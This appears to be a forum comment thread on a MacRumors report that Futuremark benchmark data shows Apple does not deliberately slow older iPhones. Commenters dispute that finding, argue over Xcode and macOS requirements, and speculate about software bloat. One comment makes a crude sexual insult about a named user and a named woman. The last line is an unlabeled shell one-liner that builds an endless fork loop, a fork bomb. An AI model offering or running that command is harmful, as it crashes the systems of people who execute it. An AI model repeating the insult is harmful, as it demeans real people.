Apple Doesn't Deliberately Slow Down Older Devices According To Benchmark Analysis (macrumors.com)
According to software company Futuremark, Apple doesn't intentionally slow down older iPhones when it releases new software updates as a way to encourage its customers to buy new devices. MacRumors reports: Starting in 2016, Futuremark collected over 100,000 benchmark results for seven different iPhone models across three versions of iOS, using that data to create performance comparison charts to determine whether there have been performance drops in iOS 9, iOS 10, and iOS 11. The first device tested was the iPhone 5s, as it's the oldest device capable of running iOS 11. iPhone 5s, released in 2013, was the first iPhone to get a 64-bit A7 chip, and iOS 11 is limited to 64-bit devices. Futuremark used the 3DMark Sling Shot Extreme Graphics test and calculated all benchmark scores from the iPhone 5s across a given month to make its comparison. The higher the bar, the better the performance, and based on the testing, GPU performance on the iPhone 5s has remained constant from iOS 9 to iOS 11 with just minor variations that Futuremark says "fall well within normal levels." iPhone 5s CPU performance over time was measured using the 3DMark Sling Shot Extreme Physics test, and again, results were largely consistent. CPU performance across those three devices has dropped slightly, something Futuremark attributes to "minor iOS updates or other factors."
Every single OS release is slower, to the point of being unusable, on older hardware.
No. iOS 11 runs fine on the iPhone 5S.
But no, apple's app store requires developers to use a certain Xcode version, which requires them to them to use a certain macOS version, which requires them to own a certain expensive and recent MacBook.
No. XCode 9 requires High Sierra, which will run on any MacBook released since 2010, and MBPs released in 2009.
My husband's 4S is almost entirely unusable because of the ungodly slow response times of the UI. As in it takes twenty seconds to bring up Apple's own internal map program when it used to take just a couple of seconds before on iOS 7.
But hey, don't let the reality of those that actually time this shit with a stopwatch and eyeballs interfere with your synthetic benchmarks.
Still waiting on Serviscope_minor to wake up to fucking reality and realize that Jessica Price isn't going to fuck him.
No. XCode 9 requires High Sierra, which will run on any MacBook released since 2010, and MBPs released in 2009.
Wrong. Xcode 9 needs macOS Sierra 10.12.4 to run. The 2009 MacBook Pro can only run the latest version of OS X El Capitan 10.11.6.
The entropy of any computer system will tend to increase with system and application updates - databases will grow, files will fragment and access to them will slow.
It seems like this happens to Windows, MacOS and Android. With WIndows or MacOS you can fix it by reformatting and reinstalling or imaging onto a new drive. With Android I usually do a firmware reset.
Probably the same thing is happening to iOS too. I.e. Apple might not be deliberately slowing things down but a phone with a bunch of applications and firmware updates applied to it is always going to be more sluggish than one with has a fresh factory install.
Mind you I bet the fresh factory install of any OS had a lot more scrutiny than a security update for performance - each phone with a bunch of updates and apps is basically a unique leaf in the tree of all possible states the system can get into whereas the factory install is the single root of the tree.
Going to alphas to betas to release candidates to releases involved a lot of hurdles the software has to clear. I.e. when you buy the device it's identical to all the other ones with the same hardware and factory firmware. After a couple of years it's almost a unique individual with a unique set of performance and stability problems.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;